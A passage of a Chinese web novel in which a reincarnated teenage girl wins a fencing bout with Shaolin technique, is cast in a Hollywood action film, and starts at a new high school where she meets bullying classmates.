“规则?哪有击剑这么打的?”亨特根本不服,梗着脖子喊,“你分明就是偏袒她!因为她救过你!” 这话一出,场边的气氛顿时僵住。 本杰明脸色沉了下来,他转头看向不远处的菲利普:“菲利普,过来。” 然后看向亨特,语气冷了几分:“你怀疑我偏袒,那第三局由菲利普担任主裁。他是队长,对规则的熟悉程度不亚于任何人,接不接受,你们自己定。” 菲利普微微颔首,语气平静无波:“我没问题,会严格按规则执裁,不会偏私任何一方。” 菲伊也点头应下:“我接受。” 众人的目光齐刷刷落在亨特身上。他咬了咬后槽牙,菲利普是他的哥们儿,肯定向着自己,而不是偏帮一个刚见面的陌生女生。 他梗着脖子“哼”了一声,甩了甩剑柄:“行,就让菲利普来,我看你还怎么耍赖!” 菲伊重新扣好面罩搭扣,指尖轻轻摩挲着剑柄,在心里飞快盘算起局势。 击剑比赛走的是累计积分制:一共三局,任何一方率先拿到15分直接终结比赛,若三局打满无人达标,就按总积分定胜负。第二局她虽然赢了,但只有4分,而亨特已经累计得7分,整整3分的差距摆在那里。 换句话说,这第三局她不光要赢,还得大比分获胜,若是只险胜个一两分,最后总积分还是亨特更高,她一样是输。 菲伊深吸一口气,将脑子里纷乱的念头尽数压下去。 少林棍法的拦、拿、扎三字诀,和重剑的刺击规则在脑海里慢慢重合,步法、发力、有效区的边界,一点点在心里捋得清清楚楚。 上一局是摸着石头过河,这一局,她要把每一分力道都用在刀刃上 。 比赛哨声刚一响起。 亨特几乎是立刻就扑了上来。他憋了一肚子火气,一上来就是最凌厉的连续弓步直刺,剑尖带着破风的轻响,直奔菲伊胸腹要害,摆明了要速战速决,不给她半分喘息的余地。 菲伊脚下不慌不忙,踩着自己现场改良的少林虚步,侧身错开。 接着手腕顺着“拦”字诀的巧劲轻轻一带,剑刃斜斜搭在对方剑身中段,轻飘飘就将那股猛劲卸到了一旁。 两剑相撞发出清脆的铮鸣,她顺势顺着剑脊前滑,手腕一抖,剑尖精准点向亨特持剑的小臂。 “滴——”红灯亮起,菲伊先拿一分。 裁判位上的菲利普,目光一错不错地落在菲伊身上。 他本就存了几分替队友把关的心思,上一局菲伊的黄牌横扫他记在心里,此刻紧紧地盯着她的手腕、脚步,就等着抓出违规动作。 可十几招过去,他非但没找出半分错处,心里反倒越来越惊。 她的步法看着离经叛道,完全不是击剑标准的步伐,可起落之间始终牢牢卡在剑道边界之内,没越出过半分。 手腕动作看着十分古怪,可每一次击打都是符合规则,没有之前出现过的劈砍、横扫的违规动作,所有得分也都落在重剑的有效区域内。 挑不出一丝毛病。 场上的亨特却越打越急躁。 他的攻势一波猛过一波,可不管他怎么变招、怎么晃假动作,菲伊的防守都像一堵软而韧的墙,总能轻巧卸掉他的力道,转头就用刁钻的角度反击回来。 一分,两分,三分。 计分板上的数字稳步跳动,菲伊的分数一路领先,亨特的节奏彻底被打乱了。 围观的队员们越来越多,议论声虽然压得很低,却藏不住快要溢出的震惊: “这也太邪门了,亨特居然被牵着走?” “她的招式从哪里学的,虽然奇怪,却有效。” “可不是嘛,我找了半天没找到半点违规的地方!” “这真的是第一局被零封的人?怎么才两局就跟换了个人似的!” 本杰明拄着拐杖站在场边,眉头从紧皱慢慢舒展,最后只剩下满眼的惊叹。 他浸淫击剑三十多年,还是第一次见有人能把完全不同路数的格斗技法,这么严丝合缝地揉进击剑的规则框架里,那些卸力反击的巧劲,简直把“四两拨千斤”玩到了极致。 亨特急着追分,一次强攻扑空,胸口露出老大的空当。 菲伊抓住机会,脚下垫步上前,手腕借着“崩”字诀的寸劲弹开他的剑,随即腰马合一,剑尖直直送了出去,稳稳落在护胸正中。 “滴——” 第六分入账的同时,比赛结束的哨声准时响起。 计分板定格在6:1,第三局菲伊大胜。三局累计总比分:菲伊·温斯洛10分,亨特·莱文8分。 菲伊胜。 场馆里静了两秒,随即炸开了锅。 莉亚第一个欢呼着跑到菲伊跟前:“菲伊!你赢了!你简直太酷了!” 莱昂和亚当紧跟着冲过来,脸上全是抑制不住的激动,围着她连声赞叹。 菲伊摘下面罩,额角挂着薄汗,胸口微微起伏,看着冲过来的莉亚,忍不住弯起嘴角,下一秒被她一把抱了个满怀: “我都快紧张死了,你真的做到了!” 亨特站在剑道另一端,摘了面罩,脸色红一阵白一阵,盯着计分板半天说不出话。他想反驳,可菲利普全程执裁,连一次犯规都没吹,周围人也都看着,他的确输了,菲伊动作即使再不规范,但都在规则范围内,谁也挑不出错来。 菲利普收起计分器,走过来扫了他一眼:“输得不冤。她无论心态,还是对节奏的把控,都比你强。” 说完他转头看向菲伊,眼里没了之前的冷淡,多了几分实打实的认可,“招式很有意思,恭喜,你赢了。” 周围的队员们也纷纷回过神,好奇地围了上来,七嘴八舌地问着她的招式,早没了一开始看热闹的轻视。 “啪、啪、啪、啪——” 场馆入口处忽然传来一阵掌声。 众人齐齐转头望去,一名气质斯文儒雅的男人斜倚在门框边,男人的目光直直落在菲伊身上,眼底翻涌着真切的惊艳与赞叹,扬声开口: “哇哦,真是精彩绝伦的一场比赛。女孩,你刚刚用的,是华国功夫吗?” 79.第79章 “舅舅?” 裁判位上的菲利普率先出声,神情中带着几分错愕。 男人这才把目光从菲伊身上挪开,扫到裁判位的外甥,当即笑着挥了挥手: “菲利普,哎呀,你也在这儿啊。” 菲利普嘴角忍不住抽了一下,他站在剑道最显眼的裁判位大半天,合着他这位舅舅全程眼里只有场上的对决,半分余光都没扫到自己。 “菲利普,这位是?”本杰明拄着拐杖上前一步,疑惑道。 乔治立刻迈步走进场馆,伸手和本杰明相握,语气热络极了:“您就是卡特教练吧?早听我这外甥提过您好多次,说您是西海岸击剑圈的名师,早就想和您认识了,久仰久仰。” 他说着随手从西装内袋掏出一张名片递过去。 “我叫乔治·西尔弗,是一名制片人。” 本杰明接过扫了一眼,眼底掠过一丝讶异——竟是时代华纳的制片人,在好莱坞也算叫得上号的人物,不知怎么会跑来他们这个击剑馆里? 乔治和本杰明寒暄完,就立刻又转回身子,目不转睛地看着菲伊,眼睛亮得像挖到了宝藏:“小姑娘,你刚才的招式里用了华国功夫对不对?我看过不少港岛的功夫片,你刚才卸力方式,还有出剑的那股劲,和里面的武打招式太像了!” 菲伊刚把重剑放回架上,闻言点点头:“你的眼力真好,刚才确实融合了一些少林棍法的发力技巧。” “我就知道!”乔治一拍手,兴奋得往前凑了半步,上下打量着她,越看越满意,“我正在筹拍一部动作片,里面有个非常重要的角色,找了快半个月都没碰到合适的人。今天撞见你,简直就是……你们华国那句话怎么说来着?” 他挠头苦思几秒,突然“啊”了声,“简直就是踏破铁鞋无觅处!对吧?所以,小姑娘,你有没有兴趣来试戏?” 菲伊愣了愣,完全没料到一场临时的比试会引来电影邀约。 可惜她对拍戏不感冒,正打算推辞,场馆门口传来一阵急促的脚步声。 “哎呀,西尔弗先生!原来您在这儿,可让我好找!” 众人转头望去,来人是谢菲尔德的外联主管鲍勃·克里,身后跟着几个人。 鲍勃顶着一头稀疏的地中海发型,昂贵的西装被矮胖的身子撑得发紧,额头上满是薄汗,领带都歪了半分,显然是一路急匆匆找过来的。 他快步走到乔治跟前,刚要说话,瞥见一旁的本杰明,又连忙打了个招呼:“卡特,你们在训练呢?我来介绍一下,这位是时代华纳的金牌制片人乔治?西尔弗先生,手上有一部青春校园片要找取景地,今天特意来咱们学校考察。” 说完他又转向乔治,语气带着点小心翼翼的催促:“西尔弗先生,您看咱们接下来是不是去教学楼和礼堂转转?我都跟那边打好招呼了。” “不用不用。”乔治摆了摆手,随意道,“谢菲尔德的校园我已经逛了大半,很符合要求,回去和导演碰一下,基本就能敲定合作了。” 他说着又把视线移回菲伊身上,笑着继续之前的话题: “刚才说到哪儿了?哦,对,你有没有兴趣来试戏?不是我吹,那部片子的剧本挺不错,尤其是里面那个神秘东方女子的角色,我们一直找不到合适的人选,今天看到你出招的样子,简直和我脑子里的形象一模一样,太契合了!” 菲伊原本打算直接拒绝的。 她现在日程排得满满当当,要赶课提前修完学分毕业,要盯着手里的投资项目,还要日日练拳打底子,根本没心思去演戏,更别说她从一开始就对当演员没什么兴趣。 可当她看见鲍勃对此人毕恭毕敬的态度,心里忽然一动。 她执意要进南加大,图的不就是好莱坞的校友人脉,能敲开核心圈层的门吗? 按照原计划,她准备等《落水狗》上映后,靠电影的成功和外溢影响攒资源、攒名声,可那还要等上一年多,太慢了,中间不知道要错过多少机会。 眼下出现的这位乔治·西尔弗,可是时代华纳正儿八经的金牌制片人,主动送上门的好莱坞核心圈层的人脉啊! 可真应了他那句话,踏破铁鞋无觅处,得来全不费工夫。 若真能和对方搭上关系,可以省下多少力气! 于是,她把拒绝的话尽数咽了回去,脸上露出几分恰到好处的迟疑:“真的吗?可是我完全没有表演经验,怕拖了剧组的后腿。” “那算什么问题!”乔治一摆手,毫不在意道,“你的外型气质与角色非常贴合,到时候你不用刻意演,照着你平时的状态来,把功夫亮出来就够了。” 他说着又掏出一张同款名片递过来,指着上面的地址:“这周四下午两点我刚好和编剧碰面,你直接来这里找我。要是他们也觉得合适,咱们当场就能把这事定下来。” 菲伊伸手接过名片,点头应下:“好,我回准时过去。” 鲍勃在旁边看得一愣一愣的,怎么逛个击剑馆的功夫,连演员都能定下一位? 可他也不敢多问甲方的安排,连忙陪着笑催乔治赶下一个行程。乔治又冲菲伊挥了挥手,再三叮嘱她明天一定要来,才跟着鲍勃一行人风风火火地离开了击剑馆。 人一走,场馆里瞬间炸开了锅。 周围围看的队员们凑得更近了,盯着菲伊收起名片的动作,眼里全是藏不住的羡慕: “我的天,华纳的制片人直接递邀约?这也太幸运了吧!” “换谁看了刚才那身手不迷糊啊,换我是制片人我也找上门。” 莉亚激动得抓着她的胳膊晃了晃,眼睛亮晶晶的:“菲伊!你要去拍电影了!也太厉害了吧!” 莱昂也高兴 道:“你身手这么厉害,肯定没问题的。” 亚当在旁边跟着使劲点头,一副与有荣焉的样子。 “八字还没一撇呢,就是过去见见主创而已。”菲伊笑了笑,把名片妥帖收进口袋,目光扫过人群边缘,忽然扬声喊了一句,“亨特·莱文,站住!” 大伙儿顺着她的目光望过去,就见亨特脚都迈到场馆门口了,身子僵在原地。 他本想趁着所有人的注意力都在那制片人身上时,偷偷溜掉,省得兑现赌约丢面子,没想到还是被抓了个正着。 “怎么?”菲伊似笑非笑道,“你想跑?” 被抓个正着,亨特只能硬着头皮转回来,梗着脖子嘴硬:“谁要跑了?我就是想去趟洗手间!” “最好是这样。”菲伊抱着胳膊看着他,“比赛前咱们的约定,你不会忘了吧?” 亨特的脸瞬间涨得通红,嘴唇动了动,半天挤不出一句话。 周围的队员们也都安静下来,目光齐刷刷落在他身上,还有人忍不住小声吹了声口哨起哄。 本杰明皱了皱眉,沉声道:“愿赌服输,别丢人。” 亨特磨了磨牙,到底丢不起当众耍赖的脸,只能不情不愿地挪到莉亚跟前,脑袋耷拉着,声音小得像蚊子哼:“对不住,以前是我嘴贱,说话难听,我保证以后再也不找你麻烦了。” 莉亚愣了一下,定定看了窘迫难忍的亨特几秒,然后扬起下巴,淡淡“嗯”了一声:“你最好能说到做到!” 见没了热闹可看,围观的队员们陆续散回各自的剑道,场馆里重新响起剑刃相撞的声响。 莱昂站在原地,目光落在菲伊收拾护具的侧影上,喉结轻轻滚了滚,犹豫了一会儿,才迈步上前。 “菲伊。” 少年的声音比平时稍低,连他自己都没留意,耳尖已然染上一层淡淡的绯红。 等菲伊转头看过来,他又飞快地移开视线,假装随意道:“那个……方便留个联系方式吗?” “当然可以。” 菲伊答得爽快,随即从包里掏出便签本和笔,又朝不远处的莉亚和亚当道,“我们也互留联系方式吧,以后是都是朋友了,有事方便联系!” “好啊好啊!” “我家只有座机,没移动电话。” “座机也行。” 菲伊飞快写下一串号码,撕下来逐一递给三人,笑容坦荡清澈,没有半分区别对待。 莱昂把纸条小心折好塞进校服口袋,嘴角还维持着笑意,只是眼底的光稍暗了些。 原来不是只给他一人。 莉亚兴冲冲拉住菲伊的手腕,热情邀约她晚上去吃法餐,说要好好答谢她。 莱昂安静地听着,没再插话,把那句在心底酝酿了半天的“晚上要不要去看新上映电影”的话,默默咽回了肚子里。 80.第80章 周四下午,马丁驱车载着菲林驶出洛杉矶市区,一路往北驶入伯班克,这里是好莱坞影视圈的黄金腹地,更是90年时代华纳位于西海岸的权力心脏。 视线越过连片楼宇,一座醒目的白色复古水塔赫然撞入眼底,高高矗立在整片园区正中,老远就能看清塔身上的WB标识。 马丁侧头介绍:“那就是著名的华纳水塔。前方整片封闭式园区全归华纳所有,足足一百一十英亩,从1928年起就是华纳的永久产业,华纳唱片、HBO西海岸分部、DC漫画西岸办公室全都在里面。” “不愧是好莱坞老牌大厂,就是财大气粗啊。”菲伊感叹。 谈话间,镌刻着WB盾形徽记的厚重石质大门已然近在眼前,大门两侧排布着修剪齐整的加州冬青与热带棕榈,气派十足。 二人在安保岗完成身份核验、登记领取访客证,方才获准踏入园区内部。 乔治·西尔弗所属的西尔弗制片公司的常驻办公点,就在园区二号大楼内,与一号行政主楼隔街相望。 这是一栋六层楼高的建筑,通体弧形镜面蓝玻璃,幕墙澄澈透亮,能完整倒映天空、林木与远处山丘,一度被《洛杉矶时报》誉为建筑瑰宝。 其内部采用可移动轻质隔断,能随影片筹备、拍摄阶段灵活拆分空间,电影开发部、剧本审核组、青年导演对接部门尽数设在此处。 楼内人来人往热闹非凡,法务、编剧、外勤职员往来穿梭,打印机、咖啡机声响不绝,到处充斥着一股独属于好莱坞黄金年代的鲜活气息。 两人搭乘电梯抵达四层,走廊尽头倒数第二间便是乔治的办公室。 门刚一推开,坐在办公椅上的乔治立刻起身,大步流星迎上前:“哦,亲爱的菲伊,你总算来啦!再次见到你我实在太开心了!” 说着,他双臂张开,就要给菲伊一个热情的拥抱。 马丁不动声色往前半步,侧身隔开二人,伸出右手:“西尔弗先生,您好。我是马丁·索尔,菲伊的监护人。” 乔治见状也不尴尬,顺势收回手臂,爽朗地握住马丁的手晃了两下:“见谅见谅,我常年泡剧组,习惯了见面亲近些,方才多有唐突。” 说罢他侧身引着二人往办公室里走,抬手示意沙发边两道并肩坐着的身影:“给你们引荐一下,这是本部影片的两位编剧,拉里·维克斯与安迪·维克斯,非常有才华的一对兄弟搭档。” 菲伊顺着他的目光望去,心底暗自诧异。 恕她少见多怪,她两辈子加起来头一回见到双编剧组合,还是亲兄弟搭档。 不禁暗自嘀咕:可就算是亲兄弟,想法和审美也不可能完全一样吧?一旦剧本出现分歧,是不是得先吵上一架,才能往后推? 刚想完,等两兄弟转过身,菲伊心里直接冒出一句“好家伙”——我这嘴该不会开光了吧? 这俩真是亲兄弟? 先不说审美,光这长相风格说一句天差地别都不为过! 哥哥拉里·维克斯,身形清瘦单薄,眉眼纤细柔和,一身纯色棉麻衬衫配垂感休闲西裤,浑身充斥着浓浓的书卷斯文气。 反观弟弟安迪·维克斯,身型壮硕,轮廓粗犷,满脸浓密络腮胡,一顶反扣做旧的棒球帽,搭配一身宽松印花嘻哈服,鼻梁架着一副复古墨镜,即便身处室内也没摘下。人往那一站,都不用说话,一股街头不羁的野性气息就扑面而来。 单看外形,任谁都想不到他俩是一母同胞。 两人齐齐看向菲伊,眼底不约而同掠过惊喜之色。 拉里缓步上前,细细打量了菲伊一番,温声浅笑:“昨天乔治在电话里把你夸得天花乱坠,我们原以为是夸大其词,今日亲眼见到,你的长相气质,真的非常贴合叶清那个角色。” 安迪抬手推了推墨镜,先点头认同:“没错!气质沉静,长相清隽,确实很贴。” 他摩挲着下巴上的胡子,话锋一转,“不过光外表符合可不行,乔治说你会华国功夫?” 菲伊颔首:“会一些。” “OK,那就给我们来一段吧!随意发挥,展示你最擅长的就行。” “好。” 菲伊略一思忖,罗汉拳是她目前最为得心应手的拳法,场地限制小,观赏性也不错,不如就打这套拳吧。 随即来到办公室中央空旷区域,她稍稍舒展肩背,沉腰扎马,双掌合十当胸,端出一个标准的罗汉朝山拜佛起手式。 下一秒,她身形微动。 双脚骤然沉踏落地,右拳攥劲递出,肩肘顺随腰身转动,劲力由腰脊贯于拳锋,直透指尖。 这一拳朴实无华,无花哨起落,却迅捷沉猛,拳锋破开空气 ,带起一缕细碎低啸的风吟。 紧接着顺势侧身转体,左掌顺势下劈,掌风垂落如刀,利落斩断身前空势,手腕轻旋,化劈为拦,轻柔卸去无形力道。 身形辗转之间,她脚步轻挪,虚步轻点,身形倏然侧滑半寸,身姿轻灵如羽,堪堪避开假想攻势。转瞬又沉步扎根,双拳交替穿击,拳路紧凑绵密,出拳快而不乱,劲力刚而不暴。 少林罗汉拳,本为武僧修习的拳法,走的是厚重刚猛、大开大合的路子,自带一种金刚怒目的凛然之气。 菲伊身形窈窕清灵,并无半分魁梧之态,却能将罗汉拳的沉实内劲展现得淋漓尽致,利落的拳势里裹着少女独有的灵动婉转,可谓刚柔兼济,气韵独特,动静衔接行云流水,赏心悦目。 乔治几人连呼吸都下意识放轻,眼睛一眨不眨,全程看得入了神。 短短两分钟,整套罗汉拳一气呵成。 最后一式收势,菲伊双掌缓缓归位,腰身回正,身形稳稳立定原处。 “啪、啪、啪!”乔治率先回神,立刻鼓掌,“无与伦比!大开眼界!” 维克斯兄弟也相继回过神,此起彼伏的赞叹声和掌声接连响起。 “太棒了!” “就是这个感觉!” 拉里难掩激动,侧头与身旁弟弟对视一眼,二人无需多余交谈,仅仅一个眼神便达成共识。 安迪直截了当地开口:“我们决定了,叶清这个角色,非你莫属。” 菲伊微微一怔,眼底带着几分错愕:“不用试戏吗?就这样直接确定了?” “试什么戏!”乔治哈哈一笑,摆摆手道,“这个角色简直就是为你量身打造的,没有人比你更合适了。” 说着,他径直走到办公桌前,拨通内线,吩咐助理立刻准备合同。 “西尔弗先生,请稍等。” 马丁适时上前一步,冷静道:“在敲定合同之前,我们是不是得先厘清基础信息?比如这部电影的具体内容,菲伊要出演怎样的角色,戏份占比、拍摄周期等等,所有相关细则都需要提前讲清楚。” “啊对!”乔治拍了下自己脑门,“看我这记性,一高兴就把这些给忘了。” 他赶紧把菲伊和马丁带到会客区落座,亲自倒上两杯咖啡,随后拉过椅子坐到二人对面,将相关内容一一道来。 81.第81章 一旁的维克斯兄弟,此刻早已沉浸在自己的创作世界里。 方才菲伊那一套正宗少林拳术打下来,让他们灵感爆棚,已然进入了旁若无人的状态。兄弟俩一人执笔、一人口述,低头对着原稿飞速修改增补,全身心打磨着角色和剧本。 这部影片名叫《猎刃追凶》,是维克斯兄弟的处女作,剧本灵感源自两年前二人在华国游历时的亲身见闻,融合东方武学意境与美式复仇叙事。 主线围绕一个名叫杰克的高中生展开,杰克家境优渥、生活安稳,有一位刚正不阿的检察官父亲。其父手握反派的核心罪证,不肯妥协徇私,招致反派的疯狂报复,派人深夜闯入杰克家中,以杰克母亲与妹妹的性命要挟,妄图夺走罪证,其父宁死不从,最终惨遭灭门。 杰克因参加夏令营侥幸躲过一劫,却也遭到反派势力的追杀,重伤濒死之际,被神秘少女叶清救下。 叶清便是菲伊即将饰演的角色。 她外表看着不过十六七岁,与寻常少女别无二致,实则真实年岁已过百岁,因修习古老神秘的东方功法,得以容颜永驻。叶清终生未婚无嗣,待至亲尽数离世后,便离开故土,周游世界,寻清幽之地隐居避世,不染俗世纷争。 身负血海深仇的杰克,侥幸捡回一命后,亲眼见识到叶清出神入化的武艺,恳请她传授自己武功,好为家人复仇。叶清早已看淡世事、无心收徒,可最终被少年的执着打动,破例应允,留在山中悉心教导。 师徒相伴习武的日子,既有笨拙磨合、啼笑皆非的日常,也有咬牙坚持、双向治愈的温馨桥段,是整部影片最动人的高光剧情之一。 习武半年间,杰克时不时偷偷下山,暗中打探反派动向、搜集线索。机缘巧合之下,他在儿时与父亲的秘密基地中,找到了父亲生前留存的反派罪证。 顺着线索层层深挖,一桩惊天阴谋浮出水面,为阻止浩劫、告慰家人亡魂,学有所成的杰克辞别叶清,毅然踏上复仇之路。 整部影片以少年复仇成长为主线,没有老套的情爱戏份,全程聚焦侠义、救赎与成长,武打戏份密集。叶清虽是辅助型配角,无感情线加持,却贯穿全篇关键剧情,是男主的武学引路人与精神灯塔,戏份饱满、人设鲜活,地位堪比隐性女主。 乔治笑着看向身旁仍在改稿的两兄弟,感叹道:“原本我们对这个角色只有模糊的框架,但今天亲眼见到菲伊的身手与气质,我们才算真正摸到了叶清的灵魂。” 菲伊听罢,对叶清这个角色也生出了几分兴趣,她原本的底线,就是不能是那种刻板印象中的华人女性角色,现在听完乔治的介绍,心也放下大半,再看维克斯兄弟那股投入的劲儿,她相信叶清这个角色不会差,于是同意了出演。 马丁完全尊重菲伊的选择,见她点头同意,便开始与乔治磋商合作细则。 经过一番讨价还价,双方最终敲定合同内容。 菲伊的拍摄周期总计两周,针对菲伊新人演员的身份,乔治开出了极具诚意的条件,总片酬1.5万美金——在九十年代初的好莱坞,这个酬劳对于毫无资历的新人演员而言,已是远超行业平均水准的优厚待遇。 同时,剧组会严格遵循加州未成年演员从业法规,划定专属工作边界,最大程度兼顾菲伊的学业、休息与人生安全。拍摄期间,菲伊每日有效工作时长严格控制在4小时内,剩余时间全部预留为文化课学习与法定休息时段,剧组配备专属随行老师,全程保障学业进度。 菲伊全程由马丁或佩妮跟组监护,任何人无权私自更改拍摄安排、延长工作时长。若遇到后期补拍或临时加班,剧组将按小时另行结算额外酬劳。 所有武打、近身对抗及高危戏份,拍摄前必须提前报备,全程配备专业武术指导、安全防护人员与医护人员,专属高危戏份另有专项补贴。针对极端危险、存在不可逆风险的镜头,菲伊有拒绝出演的权利,剧组无条件尊重配合。 …… 一月的洛杉矶冬日昼短夜长,菲伊和马丁走出二号办公楼时,天际的最后一缕暮色早已褪尽 。 整片园区的灯火次第亮起,暖黄的路灯沿着规整的道路铺向远方,晚风带着冬夜独有的清冽凉意,拂去了办公室内的温热气息。 马丁坐进车内,并未急着发动引擎。他侧头望向窗外沉沉夜色,望着远处连片的楼宇灯火,静默良久,才轻轻吐出一声悠长的叹息。 “这段时间,佩妮其实有些担心你。她说你性子太要强、太独立,什么事都习惯自己藏在心里,受了委屈、遇上难处,从来不肯开口求助,凡事都一个人硬扛。” 他顿了顿,目光缓缓落向身侧安静坐着的菲伊,语气愈发柔软: “我嘴上一直劝她放宽心,说你比同龄人懂事通透,不用我们过多操心。可说实话,我心里始终悬着一块石头。你一路走来,遭遇了太多不属于你这个年纪的坎坷,我们怕你憋着心事,硬生生压垮自己。” “但今天……”马丁释然一笑,“看你演示完那套拳术后,我突然就放心了。” “我虽然看不懂那些武功招式,但你的眼神,你的沉稳与震住全场的气势,都在告诉我,你的内心早已足够坚韧强大。那些风风雨雨,轻易打不倒你,也困不住你。你真的,远比其他同龄孩子都要出色、通透。” 菲伊听到这里,整个人骤然怔住。 她心底涌上万千情绪,张了张嘴,想要说些什么,可话到嘴边,却又说不出来。 看着她欲言又止的模样,马丁温和地笑了。 “傻孩子,不必多说,我都懂。”他轻声宽慰,“你只管放心大胆去走自己的路,去做你想做的事吧。我们是你的家人,永远都是你的后盾。” 晚风透过半开的车窗徐徐灌入,吹散了眼底的温热,却吹不散心头翻涌的暖意。 两世漂泊独行,菲伊早已习惯万事靠自己,习惯隐藏情绪、咬牙坚持,从未有人这般坚定地告诉她,不必逞强,她也有归处,也有依靠。 良久,菲伊她轻声开口,嗓音微哑,透着淡淡的鼻音: “谢谢你,马丁叔叔。” 82.第82章 一周转瞬即逝,谢菲尔德高中的春季新学期正式拉开帷幕。 晨光微启,菲伊已结束了每日例行的训练,从武馆返回家中。简单洗漱完毕,她换上谢菲尔德的校服,拎起书包和佩妮精心准备的豪华三明治,一路跑向学校。 没跑一会儿,一辆黄色的校车就在路边停了下来。这是谢菲尔德的专属校车,停靠点距离她家不过五百米。 此刻车里闹哄哄的,满车穿着同款校服的学生挤作一团,抢位置、聊假期八卦、拆零食包装,叽叽喳喳的笑闹声几乎要掀翻车顶。 一个叼着口香糖的男生百无聊赖扒着车窗,余光忽然瞥见路边的纤细身影,当即胳膊一肘捅醒旁边的同伴:“哎哎,那谁啊?我以前怎么没见过?她是我们学校的吗?” 同伴白了他一眼,懒洋洋探头瞅了瞅:“废话,穿着本校校服,能不是我们学校的吗?” “我知道她。”坐在前排的雀斑男生凑过来,他从小就在这片街区生活,对周边住户熟得很,“她刚被索尔家领养不久,好像叫温斯洛,之前听说一直在准备转学考试,这学期应该是正式入学了。” “哇哦,转学生!” “哈哈,是个孤儿! “还是个亚裔!” “噢噢噢——” 一群男的不知怎么地就开始起哄。 “她为什么不坐车?”又有人疑惑地开口,看着菲伊脚步不停,从校车旁超过去。 “谁知道呢,可能脑子有问题?”角落里一个染着棕发的男生嗤笑一声,言语中带着毫不掩饰的刻薄。话音刚落,周围一群人再次哄笑起来。 校车里的议论顺着车窗飘出来,菲伊听得一清二楚,却连眼神都没动一下。 这种可笑的偏见、无聊的闲言碎语,她见得太多了,根本不值得浪费半点情绪。 她只是微微调整呼吸,暗暗加快了脚步。 无他,车上的人太聒噪了。 于是,当校车还在路上慢悠悠地晃时,菲伊已站在了谢菲尔德的校门前,擦拭着额角的薄汗。 “菲伊!这边!” 莉亚比她早到几分钟,正站在梧桐树下朝她挥手,眼睛亮晶晶的。 见菲伊走来,她立刻快步上前,亲昵挽住她的胳膊,两人并肩说说笑笑走进校园。 到教学楼楼下,莉亚有事要先去教务处,两人便就此分开。 离第一堂课还有20多分钟,菲伊没急着去教室,而是找到自己的专属储物柜,把暂时用不上的杂物、后面几堂课的课本一一放进去。 另一边,校门口传来一阵嚣张的引擎轰鸣声。 亨特·莱文开着老爸送的生日礼物——一台鲜红色的福特野马GT,拉风十足地驶入校园。 车刚停稳,几个早就候着他的狐朋狗友立马一拥而上,围着新车摸来摸去,满眼羡慕。 “我去!这野马也太帅了吧!” “真带劲,放学必须带我们兜一圈!” “今晚直接组局,约几个漂亮妞去酒吧,好好爽一爽!” 一群人吵吵嚷嚷、吹牛打趣,氛围热闹得不行。 这时,一名最爱八卦的男生忽然压低声音,一脸神秘地开口:“哎,你们听说了吗?这几天咱们学校有件新鲜事!” 此话一出,亨特后背下意识一紧。他以为对方要爆的,是自己前几天在击剑比试里,输给一个新人、还被逼当众道歉的社死黑历史。 这段时间他一直担心这事传开,让自己沦为全校笑柄。听到八卦男的话,亨特顿时慌了神,试图岔开话题:“什么新鲜不新鲜的!汤姆,你别天天一惊一乍的,净拿些陈芝麻烂谷子的事糊弄人。时间不早了,我们赶紧走吧!” 旁边几个同伴也跟着纷纷附和,打趣汤姆小题大做。 被众人一调侃,名叫汤姆的男生当即不乐意了,立马拔高声音辩解道:“这回是真的独家消息,保证没几个人知道——咱们学校这学期新来了一个转学生!” 亨特先是一愣,接着反应过来汤姆要说的不是自己,暗暗松了口气: “切,不就一个转学生嘛,有什么好稀奇的。” “普通转学生当然不值一提,但这个绝对不一般!”汤姆立马道,“新来的是个华裔,SSAT总分2360,直接拿下南加州第一!” 周围几人闻言,纷纷嗤笑出声,满脸不以为然。 “切,我还以为有啥呢,不就是个会考试的书呆子嘛!” “对啊,谢菲尔德也不缺这种人。” “华裔学生啊,常规操作罢了,有啥稀奇的。” 汤姆不慌不忙,继续补猛料:“谢菲尔德确实不缺书呆子,但缺……孤儿啊!” “咦,还是个孤儿?” “这个的确有点新鲜。” 见同伴们终于提起点兴趣了,汤姆接着道:“据说是十一年级的,长得还挺好看!不过这些都不是重点,重点是……” 说到这里,他故意停下来,吊足众人好奇心后 ,才神秘兮兮道,“她是个怪咖,听说今天早上有校车不坐,自己跑步来上学,更离谱的是,她居然跑得比车快,转眼的功夫,就超过去了!” “不是吧?跑得比校车快?吹的吧!” “这也太扯了吧,正常人谁能跑这么快?” “难道是长跑运动员?” “你傻啊,刚不是说了吗,她SAAT南加州第一,你见过那个运动员能考这个成绩的?” “也不一定吧,不是说她是华裔吗?” 就在其他人围绕这个转学生吵个不停时,旁边的亨特,脸色却一点点僵住了。 转学生、华裔、学霸、体能离谱……所有细节叠在一起,怎么越听越熟悉? 一股不祥的预感涌上心头,他一把抓住汤姆的胳膊,急切地问:“等等,你说的这人到底是谁?叫什么名字?” “喏,那不就在那儿嘛!” 几人聊着聊着已经走进教学楼走廊,汤姆抬手一指,直直对准不远处正在收拾柜子的纤细身影。 看清那张脸的瞬间,亨特瞳孔骤然一缩,后背窜起一层冷汗。 卧槽! 是菲伊。 真的是这个煞神! 果然是怕什么来什么! 他本来还打算这学期远远躲开对方,直到击剑输了的事翻篇,结果开学第一天,自己就主动送上门来了。 亨特心里疯狂哀嚎,脚下悄然后退半步,打算趁没人注意,偷偷开溜逃离现场。 可偏偏天不遂人愿,身旁毫不知情的同伴已经扬着嗓子,大大咧咧朝菲伊喊道: “嘿!新来的转学生!” 喊声落下的瞬间,整条走廊的喧闹像被按了暂停键。 来往的学生、凑堆聊天的人齐刷刷顿了顿,数十道好奇的目光汇聚到菲伊身上,每张脸上都带着明晃晃的看热闹的兴奋。 菲伊暗暗翻了个白眼。 来了来了,经典的美高校园霸凌戏码。 她原以为以学风严谨著称的谢菲尔德能免俗,没想到天下乌鸦一般黑,到哪儿都少不了这套。 菲伊“啪”地合上柜门,缓缓转过身,双臂抱在胸前,目光漫不经心地扫过对面那几个吊儿郎当的男生。 正准备开口,眼角余光却蓦地瞥见人群侧后方一个鬼鬼祟祟往墙角挪动的背影。 那偷溜架势,有些似曾相识呢。 菲伊唇角微勾,神情中多出了几分玩味: “亨特·莱文?” 83.第83章 亨特的脚步瞬间钉死在原地,整个人当场石化,满脸生无可恋地转过身,挤出一个比哭还难看的笑容: “嗨……好巧啊,温斯洛。” “是啊,巧得很。”菲伊淡淡道,“你这几位朋友堵在这儿,是找我有事?” 汤姆一行人直接懵在了原地,你看我我看你,全是问号脸。 什么情况?亨特居然认识这个转学生,而且怎么看着还挺怕她? 